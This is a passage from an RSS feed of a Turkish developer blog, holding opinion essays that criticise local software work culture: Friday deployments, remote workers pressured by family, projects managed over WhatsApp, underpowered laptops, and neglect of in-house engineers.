<li><strong>Saat 18:45:</strong> API yanıt süreleri 200 ms'den 45 saniyeye fırlar. Pod'lar birer birer OOM (Out of Memory) hatası vererek çökmeye başlar.</li>
<li><strong>Saat 19:30:</strong> Patron panik içinde arar: <em>"Müşteri beni aradı, site açılmıyor, acil düzeltin!"</em> Yazılımcılar montlarını çıkarıp tekrar masaya oturur. Rollback yapılmaya çalışılır; ancak veritabanı şeması geriye dönük uyumlu yazılmadığı için rollback eski kodu da patlatır!</li>
<li><strong>Cumartesi 14:00:</strong> Ekip gözleri kan çanağı içinde log dosyalarında kaybolmuş, production verilerini kurtarmak için geçici SQL script'leri yazmaktadır. Eşler, çocuklar, arkadaşlar aramakta; <em>"Gelemiyorum, işte kriz çıktı"</em> yanıtını almaktadır.</li>
<li><strong>Pazar 23:00:</strong> Sistem derme çatma bir yamayla zar zor ayağa kaldırılır. Pazartesi sabahı ofise gelindiğinde herkes sinirli, yorgun ve tükenmiştir.</li>
</ol>
<p>Ve en acısı nedir biliyor musunuz?</p>
<p>Pazartesi sabahı müşterinin o "büyük hafta sonu kampanyasını" aslında başlatmadığı, pazarlama ajansının görselleri yetiştiremediği ortaya çıkar! Yani tüm o cehennem, içi boş bir müşteri kaprisi ve yöneticinin sınır koyamama acziyeti yüzünden yaşanmıştır.</p>
<h3>Neden "Hayır" Diyemiyoruz?</h3>
<p>Bu döngünün Türkiye'de kırılamamasının temel nedeni, <strong>profesyonel sınır çizme kültürünün yokluğudur.</strong></p>
<p>Müşteriye veya patrona <em>"Hayır, cuma akşamı deployment yapmak mühendislik prensiplerimize aykırıdır. Bu riski alamayız. Kodu pazartesi sabahı saat 10:00'da, tüm ekip masadayken ve zihnimiz berrakken canlıya alacağız"</em> demek bir itaatsizlik değil; şirketin sermayesini ve müşterinin itibarını koruyan profesyonel bir duruştur.</p>
<p>Fakat liyakatsiz yöneticiler müşteriye şirin görünmek, <em>"Biz 7/24 çalışan bir şirketiz"</em> yalanını sürdürmek için her talebe baş eğerler. Faturayı ise cuma akşamı evine gidemeyen yazılımcıya keserler.</p>
<h3>Deployment Bir Tören Değil, Rutin Olmalıdır</h3>
<p>Modern DevOps kültürü, deployment'ı korkulan bir "olay" olmaktan çıkarıp, gün içinde yüzlerce kez yapılabilen sıradan bir adıma dönüştürmeyi amaçlar:</p>
<ul>
<li>Mavi-Yeşil (Blue-Green) dağıtımlar,</li>
<li>Kanarya (Canary) sürümleri,</li>
<li>Özellik bayrakları (Feature Flags),</li>
<li>Otomatik sağlık kontrolleri ve anında geri alma mekanizmaları...</li>
</ul>
<p>Eğer altyapınız bu olgunlukta değilse; yani bir deployment yaptığınızda tek bir komutla sıfır kesintiyle eski sürüme dönemiyorsanız, cuma akşamı deployment yapmak intihardır.</p>
<p>Eğer altyapınız bu olgunluktaysa bile; insan faktörünü unutmayın. Cuma akşamı insanın dikkati dağılır, hata yapma olasılığı katlanır. Hiçbir e-ticaret butonu, hiçbir pazarlama kampanyası sizin ve ekibinizin hafta sonu huzurundan daha acil ve değerli değildir.</p>
<p>Cuma 17:00'den sonra o terminaldeki <code>git push origin master</code> komutundan elinizi çekin. Bilgisayarınızı kapatın.</p>
<p>Pazartesi sabahı o kod hala orada olacak; ama kaybolan hafta sonunuzu ve yıpranan sinirlerinizi hiçbir sprint planlaması geri getiremez.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>deployment</category>
            <category>cuma-kurali</category>
            <category>ci-cd</category>
            <category>devops</category>
            <category>calisma-kulturu</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cuma-aksami-deployment-yapilmaz-kuralinin-yerel-piyasa-tarafindan-ihlali/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Uzaktan Çalışıyorum" Deyince Akrabalara Evde Boş Oturmadığını Kanıtlama]]></title>
            <link>http://localhost:3000/blog/post/uzaktan-calisiyorum-deyince-akrabalara-evde-bos-oturmadigini-kanitlama</link>
            <guid>uzaktan-calisiyorum-deyince-akrabalara-evde-bos-oturmadigini-kanitlama</guid>
            <pubDate>Sat, 27 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Evde bilgisayar başında oturmayı "boş vakit geçirmek" sanan aile baskısı, prod krizinin ortasında istenen bakkal siparişleri ve zihinsel emeğin sosyolojik sınavı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/uzaktan-calisiyorum-deyince-akrabalara-evde-bos-oturmadigini-kanitlama/thumbnail" alt=""> Türkiye'de bir yazılımcı olarak evden (remote) çalışmaya başladığınız gün; sadece küresel şirketlerle veya modern teknolojilerle değil, bu coğrafyanın bin yıllık kültürel ve sosyolojik kodlarıyla da büyük bir savaşa girersiniz.</p>
<p>Aileniz, akrabalarınız ve komşularınız için "çalışmak" kavramının tanımı son derece nettir:<br>
Sabah erkenden kalkılır, takım elbise veya iş kıyafeti giyilir, dolmuşa veya servise binilir, fiziksel bir binaya gidilir, orada bir patronun gözetiminde 8 saat ter dökülür ve akşam yorgun argın eve dönülür. Ter yoksa, yol çilesi yoksa, akşam eve girdiğinde <em>"Of bugün canım çıktı"</em> diye sızlanma yoksa; o yapılan şey toplum nezdinde "iş" sayılmaz.</p>
<p>Bu yüzden evinin bir odasında, üzerinde tişörtüyle, masanın başında sessizce ekrana bakan bir genci gören Türk ebeveyni veya akrabası için o an tek bir gerçeklik vardır: <strong>"Bizim çocuk evde bütün gün bilgisayarın başında boş boş oturuyor, oyun oynuyor."</strong></p>
<p>İşte bu algı, Türkiye'de uzaktan çalışan yüz binlerce yazılımcının her gün verdiği en yıpratıcı, en trajikomik varoluş mücadelesinin fitilini ateşler.</p>
<h3>Prod Krizinin Ortasında Gelen Pazar Siparişi</h3>
<p>Öğleden sonra saat 14:15. Terminalinizde kızılca kıyamet kopmaktadır.</p>
<p>Şirketin Avrupa ödeme altyapısını sağlayan mikroservisinde kritik bir bellek sızıntısı patlamış; Kubernetes pod'ları saniyeler içinde çökmekte, binlerce kullanıcının ödemesi askıda kalmaktadır. Slack'te 15 kişilik uluslararası kriz ekibiyle sesli kanaldasınız. Kalbiniz dakikada 130 atıyor; parmaklarınız klavyede uçuşuyor, log dosyalarından hatanın izini sürüyorsunuz.</p>
<p>Tam o sırada odanızın kapısı tıklatılmadan, ardına kadar açılır. İçeriye anneniz veya bir aile büyüğünüz girer. Yüzünde son derece şefkatli ama bir o kadar da rahat bir gülümseme vardır:</p>
<p><em>"Furkan, madem evdesin, kalkıver de bir koşu pazardan iki kilo patatesle yarım kilo limon alıver. Akşama teyzenler gelecek, yemek yetiştiremedim. Hadi yavrum, bütün gün oturdun o ekranın karşısında, gözlerin bozulacak, hem sana da hava değişimi olur."</em></p>
<p>Kulaklığınızı hafifçe aralayıp fısıldarsınız: <em>"Anne şu an çok kritik bir toplantıdayım, sistem çöktü, yerimden kalkamam."</em></p>
<p>Annenizin kaşları anında çatılır, derin bir iç çeker: <em>"Aman siz de ne toplantısıysa... Sabahtan beri ekrana bakıp duruyorsun. İki dakika bakkala git dedik diye bin dereden su getirdin. Hayırsız evlat."</em></p>
<p>Kapı çarpılarak kapanır. Siz ekrana dönersiniz ama zihniniz darmadağın olmuştur.</p>
<p>Bir yandan Amerikan şirketindeki mühendise İngilizce olarak hafıza dökümünü anlatmaya çalışırken, bir yandan da annenizin gözündeki o "evde yatan hayırsız çocuk" yaftasının vicdani ezikliğiyle boğuşursunuz.</p>
<h3>112 İstasyonunda "Oturduğunuz Yerden Para Kazanıyorsunuz" Cehaleti</h3>
<p>Bu toplumsal algı körlüğünün acil sağlık hizmetlerindeki yansıması, 112 ambulans ekiplerinin yıllardır maruz kaldığı o haksız önyargıdır.</p>
<p>Bir 112 acil yardım istasyonunu dışarıdan izleyen bazı vatandaşlar şöyle der: <em>"Oh ne güzel iş, akşama kadar istasyonun bahçesinde çay içip televizyon izliyorlar, oturdukları yerden devletten maaş alıyorlar."</em></p>
<p>Oysa o insanların bilmediği şey şudur: 112 personeli o bahçede otururken keyif yapmamaktadır; <strong>gerilmiş bir çelik yay gibi alarm durumunda beklemektedir.</strong></p>
<p>Telsizden bir anons geldiği anda, 90 saniye içinde ambulansa binip, trafiğin içinde canını dişine takarak bir bebeğin solunum arrestine veya parçalanmış bir kazaya müdahale etmek üzere fırlayacaktır. O dinginliğin arkasında, her an bir ölüm-kalım savaşının içine atılmaya hazır nörolojik bir alarm hali yatar.</p>
<p>Evden çalışan yazılımcının durumu da tam olarak budur.</p>
<p>Dışarıdan bakan bir göz için siz sadece koltukta oturuyorsunuzdur; kas gücü harcamıyor, çimento taşımıyor, koli kaldırmıyorsunuzdur.</p>
<p>Fakat kafatasınızın içinde, arka planda devasa bir biyokimyasal ve zihinsel fırtına kopmaktadır. Beyniniz; soyut algoritmaları, karmaşık veri modellerini ve mantıksal bağımlılıkları inşa edebilmek için vücudunuzun tüm glikozunu ve oksijenini tüketmektedir. Dört saatlik kesintisiz bir kodlama ve mimari tasarım seansının insan bedeninde yarattığı yorgunluk, tarlada sekiz saat çapa yapmanın yorgunluğundan daha az değildir.</p>
<p>Fakat zihinsel emeğin değerinin bilinmediği bir toplumda; terlemeyen insanın yorulduğuna kimse inanmaz.</p>
<h3>Akraba Ziyaretleri ve "Bizim Bilgisayara Bir Format Atsana"</h3>
<p>Remote çalışan yazılımcının akraba ilişkileri ise başlı başına bir durum komedisidir.</p>
<p>Bir bayram ziyaretinde veya aile meclisinde teyzeler, amcalar toplanır:</p>
<ul>
<li><em>"Bizim Furkan da evden çalışıyor işte... Ne iş yaptığı da belli değil ya, internette bir şeyler kurcalıyor."</em></li>
<li><em>"Yeğenim madem evdesin, bizim komşunun çocuğu internetten oyun indiremiyormuş, bir ara uğra da hallediver."</em></li>
<li><em>"Bizim eski laptop açılmıyor, sen bilgisayarcısın ya, içine bir format atıver sana zahmet."</em></li>
</ul>
<p>Siz dünyanın en büyük finansal teknolojilerinde dağıtık sistemler mimarisi kurduğunuzu, saniyede 100 bin işlemi işleyen motorlar yazdığınızı anlatmaya çalışırsınız; ama karşı taraf için siz hala **"bozuk yazıcıları tamir eden ve format atan yeğen"**sinizdir.</p>
<p>Çünkü onların dünyasında bilgisayarla yapılan işlerin tek bir kategorisi vardır: Teknik servisçilik.</p>
<h3>Sınır Çizmek: Hayatta Kalma Kılavuzu</h3>
<p>Eğer evden çalışıyorsanız ve akıl sağlığınızı, kariyerinizi ve aile ilişkilerinizi korumak istiyorsanız; radikal sınırlar çizmek zorundasınız:</p>
<ol>
<li><strong>Fiziksel Bir Çalışma Alanı Kurun:</strong> Yatakta veya salondaki yemek masasında çalışmayı bırakın. Kendinize ait bir oda oluşturun ve o odanın kapısını mesai saatlerinde kapatın. O kapı kapalıyken, evin içindekiler sizin başka bir şehirde olduğunuzu kabul etmek zorundadır.</li>
<li><strong>Kılık Kıyafet Ritüeli:</strong> Pijamayla kod yazmak hem zihninizi rehavete sokar hem de evdekilerin sizi "dinleniyor" sanmasına yol açar. Sabah kalkın, duşunuzu alın, iş kıyafetinizi giyin ve masanıza öyle oturun.</li>
<li><strong>"Hayır" Demeyi Öğrenin:</strong> Mesai saatinin ortasında gelen hiçbir bakkal siparişini, hiçbir akraba çayını kabul etmeyin. <em>"Ben şu an işteyim, saat 18:00'den önce hiçbir yere kımıldayamam"</em> cümlesini gerekirse yüz kez tekrar edin. Başta alınacaklar, kırılacaklardır; ama zamanla sınırlarınıza saygı duymayı öğreneceklerdir.</li>
</ol>
<p>Unutmayın; sizin işiniz bir hobi, bir vakit geçirme aracı veya canınız sıkıldıkça başına oturduğunuz bir oyuncak değildir.</p>
<p>Siz dünyanın en karmaşık zanaatlarından birini icra ediyorsunuz. Ve sizin zihinsel emeğinize önce siz saygı duyup sınırlarınızı korumazsanız; hiç kimse o sınırlara saygı göstermeyecektir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>remote-work</category>
            <category>toplumsal-baski</category>
            <category>evden-calisma</category>
            <category>turk-ailesi</category>
            <category>mizah-gercek</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/uzaktan-calisiyorum-deyince-akrabalara-evde-bos-oturmadigini-kanitlama/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Whatsapp Grubuyla" Yönetilen Yazılım Projeleri]]></title>
            <link>http://localhost:3000/blog/post/whatsapp-grubuyla-yonetilen-yazilim-projeleri</link>
            <guid>whatsapp-grubuyla-yonetilen-yazilim-projeleri</guid>
            <pubDate>Fri, 26 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Gece 01:30'da gelen ses kayıtları, ekran görüntülerine çizilen kırmızı oklar ve Jira yerine kurulan WhatsApp gruplarında heba olan milyonluk projeler.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/whatsapp-grubuyla-yonetilen-yazilim-projeleri/thumbnail" alt=""> Dünyanın en modern teknoloji şirketlerinde yazılım geliştirme süreçleri; Linear, Jira, GitHub Issues, Notion veya Figma gibi asenkron iletişimi, versiyon kontrolünü, kabul kriterlerini (acceptance criteria) ve şeffaf sorumluluk zincirlerini garanti altına alan profesyonel araçlarla yönetilir. Bir işin tanımı bellidir, kapsamı bellidir, kimin ne zaman neyi teslim edeceği kayıt altındadır.</p>
<p>Ancak Türkiye'deki KOBİ dünyasında, ajans sektöründe veya sermayedar güdümlü yerel projelerde işler bambaşka bir platform üzerinden yürütülür:</p>
<p><strong>"YAZILIM - REVİZYONLAR (ACİL) 🚀" isimli bir WhatsApp grubu.</strong></p>
<p>Grupta kimler vardır? Şirketin patronu, müşterinin yeğeni, pazarlama sorumlusu, bir grafiker ve tüm bu karmaşanın ortasında hayatta kalmaya çalışan tek bir yazılımcı.</p>
<p>Ve bu grup, modern yazılım mühendisliğinin tüm kurallarının, mesleki disiplininin ve insan onurunun sistematik olarak çiğnendiği bir dijital kargaşa arenasına dönüşür.</p>
<h3>Gece 01:30'da Gelen 4 Dakikalık Ses Kaydı</h3>
<p>Cumartesi gecesi saat 01:30. Yatağınızda tam uykuya dalmak üzeresinizdir. Komodinin üzerindeki telefonunuz iki kez titrer. Ekran ışığı karanlığı böler. WhatsApp bildiriminde müşterinin adı görünmektedir:</p>
<p>🎙️ <em>Sesli Mesaj (03:48)</em></p>
<p>Gözlerinizi ovarak kulaklığı takarsınız. Arka planda mekan müzikleri veya araba motoru sesi gelen bir ses kaydı başlar:</p>
<p><em>"Furkan hocam iyi geceler, kusura bakma bu saatte rahatsız ediyorum ama aklıma süper bir fikir geldi. Bizim e-ticaret sitesine şimdi müşteri giriyor ya, sepete tıkladığında bir çarkıfelek çıksın, müşteri çarkı çevirince indirim kazansın. Bir de oraya SMS doğrulaması koyalım, ama doğrulama kodu gelmezse direkt geçsin. Bunu yarın öğlene kadar hallediver de pazartesi sabahı reklam çıkacağız. Hadi kolay gelsin."</em></p>
<p>Mesaj biter. Arkasından iki saniye sonra bir fotoğraf düşer: Bir peçetenin üzerine tükenmez kalemle çizilmiş eğri büğrü bir daire ve telefonun ekran görüntüsü üzerine parmakla karalanmış kırmızı bir ok işareti.</p>
<p>Bu mesaj; ne bir gereksinim analizidir, ne bir kullanıcı hikayesidir (user story), ne de bir teknik şartnamedir. Bu; sınır bilmezliğin, plansızlığın ve yazılımı sihirbazlık sanan bir cehaletin saf dışavurumudur.</p>
<h3>Yoğun Bakımı WhatsApp Ses Kayıtlarıyla Yönetmek</h3>
<p>Bu dehşetin sağlık sektöründeki karşılığını bir an için düşünün.</p>
<p>Bir yoğun bakım kliniğinde yatan entübe bir hastanın tüm tedavi planının, ilaç dozajlarının ve hayati kararlarının resmi hasta dosyasına (epikrize) işlenmek yerine; asistanların, başhemşirenin ve klinik şefinin yer aldığı bir WhatsApp grubundan yürütüldüğünü hayal edin:</p>
<ul>
<li>Şef gece kulübünden ses kaydı atıyor: <em>"Hastalardan 3 numaraya biraz noradrenalin başlayın, tansiyonu yükselsin."</em></li>
<li>Başhemşire gruptan yazıyor: <em>"Hocam dozu kaç cc yapalım?"</em></li>
<li>Şef 4 saat sonra cevap veriyor: <em>"Göz kararı verin işte, idare etsin."</em></li>
</ul>
<p>İki gün sonra o hasta çoklu organ yetmezliğinden veya aşırı dozdan hayatını kaybettiğinde ne olur? Savcılık hastaneye baskın yapar.</p>
<p>Sorumlu hekim savcıya gidip <em>"Biz WhatsApp grubunda konuşmuştuk, hoca ses kaydı atmıştı ama o mesaj kayboldu"</em> diyebilir mi? Bunu söylediği an kendisini doğrudan cezaevinde bulur ve meslekten men edilir. Çünkü tıpta yazılı olmayan, resmi protokole ve imzaya bağlanmayan hiçbir talimat <strong>yok hükmündedir.</strong></p>
<p>Yazılımda da böyledir. Bir projenin kapsamını, veritabanı mantığını ve güvenlik protokollerini WhatsApp mesajlarıyla belirlemeye kalktığınızda ortaya çıkacak tek şey katıksız bir felakettir.</p>
<h3>WhatsApp Yönetiminin Yarattığı Dört Ölümcül Hasar</h3>
<p>Bir yazılım projesini anlık mesajlaşma gruplarıyla yönetmek şu yapısal çöküşleri kaçınılmaz kılar:</p>
<ol>
<li><strong>Kayıt Dışı Kapsam Büyümesi (Scope Creep):</strong> Sözleşmede yer almayan onlarca özellik, gruptan <em>"Şunu da aradan çıkarıver"</em> denilerek yazılımcının sırtına yüklenir. Ne ek bütçe ödenir, ne de teslim süresi uzatılır.</li>
<li><strong>Dokümantasyonun Sıfırlanması:</strong> Altı ay sonra bir bug çıktığında; o fonksiyonun neden öyle yazıldığını, kuralın kim tarafından istendiğini aramak için yüzlerce megabaytlık WhatsApp sohbet geçmişini taramak zorunda kalırsınız.</li>
<li><strong>Güvenlik İhlalleri:</strong> Production sunucu şifreleri, AWS access key'leri, ödeme sağlayıcılarının gizli anahtarları o gruplarda uluorta paylaşılır. Üç ay sonra şirketten ayrılan bir stajyer veya grafik tasarımcı, o grupta kaldığı sürece tüm sisteminizin anahtarlarına sahip olmaya devam eder.</li>
<li><strong>Zihinsel Tükenmişlik ve 7/24 Nöbet Psikolojisi:</strong> WhatsApp kişisel bir alandır. Arkadaşlarınızla, ailenizle konuştuğunuz yerde patronun ve müşterinin sürekli bildirim patlatması; yazılımcıda beynin asla dinlenemediği kronik bir alarm durumu yaratır.</li>
</ol>
<h3>Profesyonel Barikatı Kurmak</h3>
<p>Bu kaostan kurtulmanın tek bir yolu vardır: <strong>Kişisel alanınızı ve mühendislik disiplininizi tavizsiz bir şekilde korumak.</strong></p>
<p>Bir müşteriyle veya şirketle çalışmaya başladığınız ilk gün kuralınızı masaya net bir şekilde koymalısınız:</p>
<ul>
<li><em>"Bizim iletişim kanalımız WhatsApp değildir. Şirket içi iletişim için Slack/Discord, proje ve görev yönetimi için Jira/Linear, tasarım onayları için Figma kullanıyoruz."</em></li>
<li><em>"WhatsApp'tan iletilen hiçbir talep, hiçbir revizyon ve hiçbir ses kaydı iş listesine alınmaz ve yapılmaz."</em></li>
<li><em>"Saat 18:00'den sonra acil sunucu çöküşü (P0 outage) dışında hiçbir mesaja bakılmaz."</em></li>
</ul>
<p>Müşteri veya patron başta buna direnecektir: <em>"Yahu biz samimi insanlarız, ne gerek var öyle resmiyetlere, WhatsApp'tan yazıveriyoruz işte!"</em></p>
<p>Onlara şu gerçeği hatırlatın: <strong>Samimiyet arkadaşlıkta olur; mühendislikte ise disiplin, netlik ve yazılı protokoller esastır.</strong></p>
<p>Kendinizi gece yarıları gelen o peçete çizimlerinden, 4 dakikalık ses kayıtlarından ve plansızlık teröründen koruyun. Çünkü WhatsApp'tan yönetilen bir projeden ne kaliteli bir yazılım çıkar, ne de o projeyi yapan insanda sağlam bir akıl sağlığı kalır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>whatsapp-yonetimi</category>
            <category>proje-yonetimi</category>
            <category>iletisim-kaosu</category>
            <category>kobi-kulturu</category>
            <category>dokumantasyon</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/whatsapp-grubuyla-yonetilen-yazilim-projeleri/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Donanım İsteyemeyen Yazılımcı: Kasası Dökülen Laptoplarla Prod Yönetmek]]></title>
            <link>http://localhost:3000/blog/post/donanim-isteyemeyen-yazilimci-kasasi-dokulen-laptoplarla-prod-yonetmek</link>
            <guid>donanim-isteyemeyen-yazilimci-kasasi-dokulen-laptoplarla-prod-yonetmek</guid>
            <pubDate>Thu, 25 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Milyonluk ciroların yönetildiği veritabanlarını Docker açıldığında alev alan 8 GB RAM'li hurda laptoplarda yönetmeye çalışan Türk yazılımcısının sessiz çilesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/donanim-isteyemeyen-yazilimci-kasasi-dokulen-laptoplarla-prod-yonetmek/thumbnail" alt=""> Türkiye'deki bir yazılım şirketinde veya orta ölçekli bir KOBİ'nin teknik departmanında çalışan bir mühendisin masasına yakından bakın.</p>
<p>Ekranında açık olan sekmelerde; şirketin yıllık milyonlarca liralık cirosunu döndüren e-ticaret veritabanları, yüz binlerce kullanıcının kişisel verilerini barındıran Kubernetes cluster'ları ve hassas finansal API entegrasyonları çalışmaktadır.</p>
<p>Ancak o ekranın bağlı olduğu fiziksel kasaya baktığınızda gözlerinize inanamazsınız:</p>
<p>Menteşesi kırıldığı için arkasına bir sözlük dayatılmış, bazı klavye tuşlarının üzerindeki harfler silindiği için tükenmez kalemle yazılmış, fişten çekildiği anda pili 8 dakika içinde sıfırlanan ve fanı çalışmaya başladığında ofiste helikopter kalkıyormuş hissi veren 7 yıllık bir ofis bilgisayarı.</p>
<p>Bilgisayarda 8 GB RAM vardır. Mühendis aynı anda VS Code'u, Docker'ı ve Chrome'da sekiz sekmeyi açtığı anda işletim sistemi kilitlenir; fare imleci ekranda saniyeler sonra hareket etmeye başlar. Her yerel derleme (build) işlemi 12 dakika sürer. Mühendis kahvesini alır, camdan dışarı bakar ve bilgisayarın donmasının geçmesini bekler.</p>
<p>Ve en acısı nedir biliyor musunuz?</p>
<p>O mühendis, şirket yönetimine gidip <em>"Bana işimi yapabilmem için 32 GB RAM'li modern bir iş istasyonu ve ikinci bir harici monitör alabilir misiniz?"</em> demeye utanır, çekinir veya dese bile kapıdan şu klasik patron cevabıyla kovulur:</p>
<p><em>"Yahu bizim evdeki çocuk da bilgisayar kullanıyor, 10 yıllık makine tıkır tıkır çalışıyor. Siz de her şeye masraf çıkarıyorsunuz, altı üstü yazı yazıyorsunuz, neyine yetmiyor bu bilgisayar?"</em></p>
<p>Oysa o patron, aynı akşam müşterisiyle çıktığı lüks bir restoranda tek bir akşam yemeği için o talep edilen bilgisayarın bedelini şirket kredi kartıyla tek çekimde ödeyecektir.</p>
<h3>Cerrahın Eline Körelmiş Bistüri Vermek</h3>
<p>Bu trajedinin ameliyathanedeki karşılığı düşünülemez bile.</p>
<p>Bir hastanenin başhekiminin, açık kalp ameliyatına veya beyin cerrahisine girecek olan uzman cerrahın eline ucu körelmiş, paslanmış bir bistüri verdiğini; anestezi teknisyenine pili tutmayan bir defibrilatör uzatıp <em>"İdare edin işte, yeni alete bütçemiz yok"</em> dediğini hayal edin.</p>
<p>Böyle bir ameliyathanede ne olur? Cerrah dokuyu keserken damarı parçalar, defibrilatör şok vermediği için hasta masada kalır.</p>
<p>Çünkü tıp tarihinde hiç kimse cerrahın dehasıyla aletinin kalitesini birbirinden ayıramaz. En yetenekli cerrah bile, kullandığı optik mikroskobun çözünürlüğü ve tuttuğu klemplerin hassasiyeti kadar başarılı olabilir. Aletine yatırım yapılmayan bir hekimden kusursuz bir cerrahi beklemek cinayete davetiye çıkarmaktır.</p>
<p>Yazılım mühendisliği de dijital bir cerrahidir. Bizim ameliyathanemiz o ekran; bistürimiz ve mikroskobumuz ise o bilgisayarın işlemcisi, belleği ve ekran kartıdır.</p>
<p>Docker container'larını ayağa kaldıramayan, IDE'nin kod tamamlama motorunu (IntelliSense) çalıştırırken kasan bir donanımla üretim ortamını (production) yönetmek; körelmiş bıçakla damar dikmeye çalışmak kadar tehlikeli ve saçmadır.</p>
<h3>Vizyonsuz Muhasebe: Kaybedilen Zamanın Matematiği</h3>
<p>Şirket yönetimlerinin anlamadığı (veya anlamak istemediği) en büyük matematiksel gerçek, <strong>mühendislik zamanının maliyetidir.</strong></p>
<p>Basit bir hesap yapalım:</p>
<ul>
<li>Bir yazılımcının yetersiz donanım yüzünden (yavaş derleme, çöken servisler, donan IDE, yeniden başlatmalar) günde kaybettiği net süre: <strong>en az 45 dakika.</strong></li>
<li>Ayda 22 iş gününde kaybedilen süre: <strong>16.5 saat.</strong></li>
<li>Yılda kaybedilen süre: <strong>yaklaşık 200 saat.</strong></li>
</ul>
<p>200 saat, tam bir aylık çalışma mesaisine eşittir!</p>
<p>Yani şirket; bir defaya mahsus 2.000 Dolar verip mühendisine güçlü bir makine almaktan kaçındığı için, her yıl o mühendisin bir aylık maaşını bilgisayarın donmasını izlemesi için çöpe atmaktadır!</p>
<p>Bu, tarihin en ilkel, en vizyonsuz bakkal muhasebesidir. Donanımdan tasarruf ettiğini sanan şirket, aslında her gün onlarca saatlik yüksek nitelikli zihinsel emeği heba etmektedir.</p>
<p>Dahası; o donmaların ve yavaşlıkların mühendisin zihninde yarattığı bilişsel sürtünme (cognitive friction), odaklanma kaybı ve sinir harbi parayla dahi ölçülemez. Zihni bölünmüş bir mühendisin yazdığı kodda hata çıkar; ve production'da çıkacak tek bir kritik kesintinin şirkete maliyeti, ofise 50 tane en tepe model bilgisayar almaya yetecek kadardır.</p>
<h3>Zanaatkarın Aletine Saygısı</h3>
<p>Kadim zanaat kültürümüzde bir kural vardır: Bir ustanın mesleki haysiyeti, sandığındaki aletlerinin intizamıyla ölçülür.</p>
<p>İyi bir marangoz rendesine gözü gibi bakar; bıçağını her gün biler. İyi bir terzi makasını kimseye elletmez. Çünkü bilirler ki alet, kolun ve zihnin bir uzantısıdır. Alet körelirse, zanaat ölür.</p>
<p>Yazılımcılar olarak bizler de bu ezikliği üzerimizden atmak zorundayız.</p>
<p>İşinizi layıkıyla yapabilmek için güçlü bir donanım, ergonomik bir çalışma koltuğu, yüksek çözünürlüklü geniş bir monitör talep etmek bir "şımarıklık" veya "lüks isteği" değildir. Bu; yaptığınız işe, şirketinize ve mesleki haysiyetinize duyduğunuz saygının en temel asgari gereğidir.</p>
<h3>Patronlara ve Şirketlere Son Çağrı</h3>
<p>Eğer bir yazılım şirketiniz varsa ve mühendisleriniz hala fanı bağıran hurda makinelerle cebelleşiyorsa; o ofisteki langırt masasını, ücretsiz kahve makinelerini ve süslü duvar yazılarını çöpe atın.</p>
<p>Mühendisinize hak ettiği donanımı verin.</p>
<p>Ekranın başına geçtiğinde teknolojinin hızına yetişebilen, fikrini koda dökerken donup kalmayan, onun zihnine ayak uydurabilen aletler sunun. Çünkü donanımına yatırım yapmaktan aciz bir şirketin; ne küresel pazarda rekabet etmeye hakkı vardır, ne de geleceğe dair bir vizyon kurmaya gücü.</p>
<p>Unutmayın: Büyük mimariler, dökülen kasaların üzerinde değil; zanaatına ve aletine saygı duyan berrak zihinlerin üzerinde yükselir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>donanim-yetersizligi</category>
            <category>calisma-ortami</category>
            <category>kobi-vizyonsuzlugu</category>
            <category>gelistirici-verimliligi</category>
            <category>yatirim</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/donanim-isteyemeyen-yazilimci-kasasi-dokulen-laptoplarla-prod-yonetmek/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["İçerideki Elemanı Görmezden Gelip" Dışarıdan Danışman Almak: Yabancı Hayranlığı ve Yerel Ekip İhmali]]></title>
            <link>http://localhost:3000/blog/post/icerideki-elemani-gormezden-gelip-disaridan-danisman-almak-yabanci-hayranligi-ve-yerel-ekip-ihmali</link>
            <guid>icerideki-elemani-gormezden-gelip-disaridan-danisman-almak-yabanci-hayranligi-ve-yerel-ekip-ihmali</guid>
            <pubDate>Wed, 24 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kendi mühendisinin aylardır sunduğu mimari çözümleri kulak ardı edip, dışarıdan gelen fahiş fiyatlı slayt büyücülerine servet döken şirketlerin trajikomik yabancı hayranlığı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/icerideki-elemani-gormezden-gelip-disaridan-danisman-almak-yabanci-hayranligi-ve-yerel-ekip-ihmali/thumbnail" alt=""> Türkiye'deki kurumsal teknoloji şirketlerinde ve büyüme evresindeki ölçeklenmiş girişimlerde sıkça sahnelenen, çalışanların gururunu kıran ve kurumsal aklı felç eden klasik bir sahne vardır:</p>
<p>Şirketin kıdemli backend mühendisi veya yazılım mimarı, son altı aydır her teknik toplantıda aynı hayati sorunu dile getirmektedir:<br>
<em>"Monolitik veritabanımız darboğaza girdi. Connection pool tükeniyor, thread contention yüzünden API yanıt sürelerimiz 4 saniyenin üzerine çıkıyor. Cache katmanımızı Redis Cluster ile izole etmeli, transactional veritabanındaki ağır raporlama sorgularını read-replica'lara ayırmalıyız."</em></p>
<p>Mühendis bu tespitle kalmaz; mimari akış diyagramlarını çizer, yük testi (load testing) raporlarını hazırlar, hatta hafta sonu kendi vaktiyle ufak bir proof-of-concept (PoC) geliştirip yönetimin önüne koyar.</p>
<p>Peki şirketin C-seviye yöneticileri veya direktörleri ne yapar?</p>
